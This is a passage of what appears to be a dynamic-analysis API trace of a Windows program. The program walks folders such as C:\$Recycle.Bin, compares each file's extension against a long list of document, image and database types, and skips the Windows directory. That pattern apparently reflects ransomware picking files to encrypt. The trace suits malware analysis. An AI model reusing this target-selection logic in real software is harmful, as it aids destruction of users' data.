lpString2="md") returned -1 [0094.057] lstrlenW (lpString=".cdr") returned 4 [0094.057] lstrcmpiW (lpString1=".cdr", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".cer") returned 4 [0094.057] lstrcmpiW (lpString1=".cer", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".cf") returned 3 [0094.057] lstrcmpiW (lpString1=".cf", lpString2="cmd") returned -1 [0094.057] lstrlenW (lpString=".cfc") returned 4 [0094.057] lstrcmpiW (lpString1=".cfc", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".cfm") returned 4 [0094.057] lstrcmpiW (lpString1=".cfm", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".cfml") returned 5 [0094.057] lstrcmpiW (lpString1=".cfml", lpString2="e.cmd") returned -1 [0094.057] lstrlenW (lpString=".cfu") returned 4 [0094.057] lstrcmpiW (lpString1=".cfu", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".chm") returned 4 [0094.057] lstrcmpiW (lpString1=".chm", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".cin") returned 4 [0094.057] lstrcmpiW (lpString1=".cin", lpString2=".cmd") returned -1 [0094.057] lstrlenW (lpString=".class") returned 6 [0094.057] lstrcmpiW (lpString1=".class", lpString2="te.cmd") returned -1 [0094.057] lstrlenW (lpString=".clx") returned 4 [0094.058] lstrcmpiW (lpString1=".clx", lpString2=".cmd") returned -1 [0094.058] lstrlenW (lpString=".config") returned 7 [0094.058] lstrcmpiW (lpString1=".config", lpString2="ete.cmd") returned -1 [0094.058] lstrlenW (lpString=".cpp") returned 4 [0094.058] lstrcmpiW (lpString1=".cpp", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".cr2") returned 4 [0094.058] lstrcmpiW (lpString1=".cr2", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".crt") returned 4 [0094.058] lstrcmpiW (lpString1=".crt", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".crw") returned 4 [0094.058] lstrcmpiW (lpString1=".crw", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".cs") returned 3 [0094.058] lstrcmpiW (lpString1=".cs", lpString2="cmd") returned -1 [0094.058] lstrlenW (lpString=".css") returned 4 [0094.058] lstrcmpiW (lpString1=".css", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".csv") returned 4 [0094.058] lstrcmpiW (lpString1=".csv", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".cub") returned 4 [0094.058] lstrcmpiW (lpString1=".cub", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".dae") returned 4 [0094.058] lstrcmpiW (lpString1=".dae", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".dat") returned 4 [0094.058] lstrcmpiW (lpString1=".dat", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".db") returned 3 [0094.058] lstrcmpiW (lpString1=".db", lpString2="cmd") returned -1 [0094.058] lstrlenW (lpString=".dbf") returned 4 [0094.058] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".dbx") returned 4 [0094.058] lstrcmpiW (lpString1=".dbx", lpString2=".cmd") returned 1 [0094.058] lstrlenW (lpString=".dc3") returned 4 [0094.059] lstrcmpiW (lpString1=".dc3", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".dcm") returned 4 [0094.059] lstrcmpiW (lpString1=".dcm", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".dcr") returned 4 [0094.059] lstrcmpiW (lpString1=".dcr", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".der") returned 4 [0094.059] lstrcmpiW (lpString1=".der", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".dib") returned 4 [0094.059] lstrcmpiW (lpString1=".dib", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".dic") returned 4 [0094.059] lstrcmpiW (lpString1=".dic", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".dif") returned 4 [0094.059] lstrcmpiW (lpString1=".dif", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".divx") returned 5 [0094.059] lstrcmpiW (lpString1=".divx", lpString2="e.cmd") returned -1 [0094.059] lstrlenW (lpString=".djvu") returned 5 [0094.059] lstrcmpiW (lpString1=".djvu", lpString2="e.cmd") returned -1 [0094.059] lstrlenW (lpString=".dng") returned 4 [0094.059] lstrcmpiW (lpString1=".dng", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".doc") returned 4 [0094.059] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.059] lstrlenW (lpString=".docm") returned 5 [0094.059] lstrcmpiW (lpString1=".docm", lpString2="e.cmd") returned -1 [0094.059] lstrlenW (lpString=".docx") returned 5 [0094.059] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.059] lstrlenW (lpString=".dot") returned 4 [0094.059] lstrcmpiW (lpString1=".dot", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dotm") returned 5 [0094.060] lstrcmpiW (lpString1=".dotm", lpString2="e.cmd") returned -1 [0094.060] lstrlenW (lpString=".dotx") returned 5 [0094.060] lstrcmpiW (lpString1=".dotx", lpString2="e.cmd") returned -1 [0094.060] lstrlenW (lpString=".dpx") returned 4 [0094.060] lstrcmpiW (lpString1=".dpx", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dqy") returned 4 [0094.060] lstrcmpiW (lpString1=".dqy", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dsn") returned 4 [0094.060] lstrcmpiW (lpString1=".dsn", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dt") returned 3 [0094.060] lstrcmpiW (lpString1=".dt", lpString2="cmd") returned -1 [0094.060] lstrlenW (lpString=".dtd") returned 4 [0094.060] lstrcmpiW (lpString1=".dtd", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dwg") returned 4 [0094.060] lstrcmpiW (lpString1=".dwg", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dwt") returned 4 [0094.060] lstrcmpiW (lpString1=".dwt", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".dx") returned 3 [0094.060] lstrcmpiW (lpString1=".dx", lpString2="cmd") returned -1 [0094.060] lstrlenW (lpString=".dxf") returned 4 [0094.060] lstrcmpiW (lpString1=".dxf", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".edml") returned 5 [0094.060] lstrcmpiW (lpString1=".edml", lpString2="e.cmd") returned -1 [0094.060] lstrlenW (lpString=".efd") returned 4 [0094.060] lstrcmpiW (lpString1=".efd", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".elf") returned 4 [0094.060] lstrcmpiW (lpString1=".elf", lpString2=".cmd") returned 1 [0094.060] lstrlenW (lpString=".emf") returned 4 [0094.061] lstrcmpiW (lpString1=".emf", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".emz") returned 4 [0094.061] lstrcmpiW (lpString1=".emz", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".epf") returned 4 [0094.061] lstrcmpiW (lpString1=".epf", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".eps") returned 4 [0094.061] lstrcmpiW (lpString1=".eps", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".epsf") returned 5 [0094.061] lstrcmpiW (lpString1=".epsf", lpString2="e.cmd") returned -1 [0094.061] lstrlenW (lpString=".epsp") returned 5 [0094.061] lstrcmpiW (lpString1=".epsp", lpString2="e.cmd") returned -1 [0094.061] lstrlenW (lpString=".erf") returned 4 [0094.061] lstrcmpiW (lpString1=".erf", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".exr") returned 4 [0094.061] lstrcmpiW (lpString1=".exr", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".f4v") returned 4 [0094.061] lstrcmpiW (lpString1=".f4v", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".fido") returned 5 [0094.061] lstrcmpiW (lpString1=".fido", lpString2="e.cmd") returned -1 [0094.061] lstrlenW (lpString=".flm") returned 4 [0094.061] lstrcmpiW (lpString1=".flm", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".flv") returned 4 [0094.061] lstrcmpiW (lpString1=".flv", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".frm") returned 4 [0094.061] lstrcmpiW (lpString1=".frm", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".fxg") returned 4 [0094.061] lstrcmpiW (lpString1=".fxg", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".geo") returned 4 [0094.061] lstrcmpiW (lpString1=".geo", lpString2=".cmd") returned 1 [0094.061] lstrlenW (lpString=".gif") returned 4 [0094.062] lstrcmpiW (lpString1=".gif", lpString2=".cmd") returned 1 [0094.062] lstrlenW (lpString=".grs") returned 4 [0094.062] lstrcmpiW (lpString1=".grs", lpString2=".cmd") returned 1 [0094.062] lstrlenW (lpString=".gz") returned 3 [0094.062] lstrcmpiW (lpString1=".gz", lpString2="cmd") returned -1 [0094.062] lstrlenW (lpString=".h") returned 2 [0094.062] lstrcmpiW (lpString1=".h", lpString2="md") returned -1 [0094.062] lstrlenW (lpString=".hdr") returned 4 [0094.062] lstrcmpiW (lpString1=".hdr", lpString2=".cmd") returned 1 [0094.062] lstrlenW (lpString=".hpp") returned 4 [0094.062] lstrcmpiW (lpString1=".hpp", lpString2=".cmd") returned 1 [0094.062] lstrlenW (lpString=".hta") returned 4 [0094.062] lstrcmpiW (lpString1=".hta", lpString2=".cmd") returned 1 [0094.062] lstrlenW (lpString=".htc") returned 4 [0094.062] lstrcmpiW (lpString1=".htc", lpString2=".cmd") returned 1 [0094.062] lstrlenW (lpString=".htm") returned 4 [0094.062] lstrcmpiW (lpString1=".htm", lpString2=".cmd") returned 1 [0094.062] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0094.063] FindClose (in: hFindFile=0x3e501c0 | out: hFindFile=0x3e501c0) returned 1 [0094.063] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0094.063] FindNextFileW (in: hFindFile=0x4c9858, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0094.063] FindClose (in: hFindFile=0x4c9858 | out: hFindFile=0x4c9858) returned 1 [0094.063] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0094.065] FindNextFileW (in: hFindFile=0x4c9798, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0094.065] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3820940 [0094.066] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0094.066] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3e50380 [0094.066] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0094.066] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0094.066] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0094.066] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1 [0094.066] lstrlenW (lpString="S-1-5-18") returned 8 [0094.066] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1 [0094.066] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0094.067] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0094.067] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50580 [0094.068] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.068] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.068] lstrlenW (lpString="desktop.ini") returned 11 [0094.068] lstrlenW (lpString=".1cd") returned 4 [0094.068] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.068] lstrlenW (lpString=".3ds") returned 4 [0094.068] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0094.068] lstrlenW (lpString=".3fr") returned 4 [0094.068] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0094.068] lstrlenW (lpString=".3g2") returned 4 [0094.068] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0094.068] lstrlenW (lpString=".3gp") returned 4 [0094.068] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0094.068] lstrlenW (lpString=".7z") returned 3 [0094.068] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.068] lstrlenW (lpString=".accda") returned 6 [0094.068] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0094.068] lstrlenW (lpString=".accdb") returned 6 [0094.068] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0094.069] lstrlenW (lpString=".accdc") returned 6 [0094.069] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0094.069] lstrlenW (lpString=".accde") returned 6 [0094.069] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0094.069] lstrlenW (lpString=".accdt") returned 6 [0094.069] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0094.069] lstrlenW (lpString=".accdw") returned 6 [0094.069] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0094.069] lstrlenW (lpString=".adb") returned 4 [0094.069] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".adp") returned 4 [0094.069] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".ai") returned 3 [0094.069] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0094.069] lstrlenW (lpString=".ai3") returned 4 [0094.069] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".ai4") returned 4 [0094.069] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".ai5") returned 4 [0094.069] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".ai6") returned 4 [0094.069] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".ai7") returned 4 [0094.069] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".ai8") returned 4 [0094.069] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0094.069] lstrlenW (lpString=".anim") returned 5 [0094.069] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0094.069] lstrlenW (lpString=".arw") returned 4 [0094.069] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".as") returned 3 [0094.070] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0094.070] lstrlenW (lpString=".asa") returned 4 [0094.070] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".asc") returned 4 [0094.070] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".ascx") returned 5 [0094.070] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0094.070] lstrlenW (lpString=".asm") returned 4 [0094.070] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".asmx") returned 5 [0094.070] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0094.070] lstrlenW (lpString=".asp") returned 4 [0094.070] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".aspx") returned 5 [0094.070] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0094.070] lstrlenW (lpString=".asr") returned 4 [0094.070] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".asx") returned 4 [0094.070] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0094.070] lstrlenW (lpString=".avi") returned 4 [0094.071] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".avs") returned 4 [0094.071] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".backup") returned 7 [0094.071] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0094.071] lstrlenW (lpString=".bak") returned 4 [0094.071] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".bay") returned 4 [0094.071] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".bd") returned 3 [0094.071] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0094.071] lstrlenW (lpString=".bin") returned 4 [0094.071] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".bmp") returned 4 [0094.071] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".bz2") returned 4 [0094.071] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".c") returned 2 [0094.071] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0094.071] lstrlenW (lpString=".cdr") returned 4 [0094.071] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".cer") returned 4 [0094.071] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".cf") returned 3 [0094.071] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0094.071] lstrlenW (lpString=".cfc") returned 4 [0094.071] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".cfm") returned 4 [0094.071] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0094.071] lstrlenW (lpString=".cfml") returned 5 [0094.072] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0094.072] lstrlenW (lpString=".cfu") returned 4 [0094.072] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".chm") returned 4 [0094.072] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".cin") returned 4 [0094.072] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".class") returned 6 [0094.072] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0094.072] lstrlenW (lpString=".clx") returned 4 [0094.072] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".config") returned 7 [0094.072] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0094.072] lstrlenW (lpString=".cpp") returned 4 [0094.072] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".cr2") returned 4 [0094.072] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".crt") returned 4 [0094.072] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".crw") returned 4 [0094.072] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".cs") returned 3 [0094.072] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0094.072] lstrlenW (lpString=".css") returned 4 [0094.072] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".csv") returned 4 [0094.072] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".cub") returned 4 [0094.072] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0094.072] lstrlenW (lpString=".dae") returned 4 [0094.073] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dat") returned 4 [0094.073] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".db") returned 3 [0094.073] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0094.073] lstrlenW (lpString=".dbf") returned 4 [0094.073] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dbx") returned 4 [0094.073] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dc3") returned 4 [0094.073] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dcm") returned 4 [0094.073] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dcr") returned 4 [0094.073] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".der") returned 4 [0094.073] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dib") returned 4 [0094.073] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dic") returned 4 [0094.073] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".dif") returned 4 [0094.073] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".divx") returned 5 [0094.073] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0094.073] lstrlenW (lpString=".djvu") returned 5 [0094.073] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0094.073] lstrlenW (lpString=".dng") returned 4 [0094.073] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0094.073] lstrlenW (lpString=".doc") returned 4 [0094.074] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".docm") returned 5 [0094.074] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0094.074] lstrlenW (lpString=".docx") returned 5 [0094.074] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.074] lstrlenW (lpString=".dot") returned 4 [0094.074] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dotm") returned 5 [0094.074] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0094.074] lstrlenW (lpString=".dotx") returned 5 [0094.074] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0094.074] lstrlenW (lpString=".dpx") returned 4 [0094.074] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dqy") returned 4 [0094.074] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dsn") returned 4 [0094.074] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dt") returned 3 [0094.074] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0094.074] lstrlenW (lpString=".dtd") returned 4 [0094.074] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dwg") returned 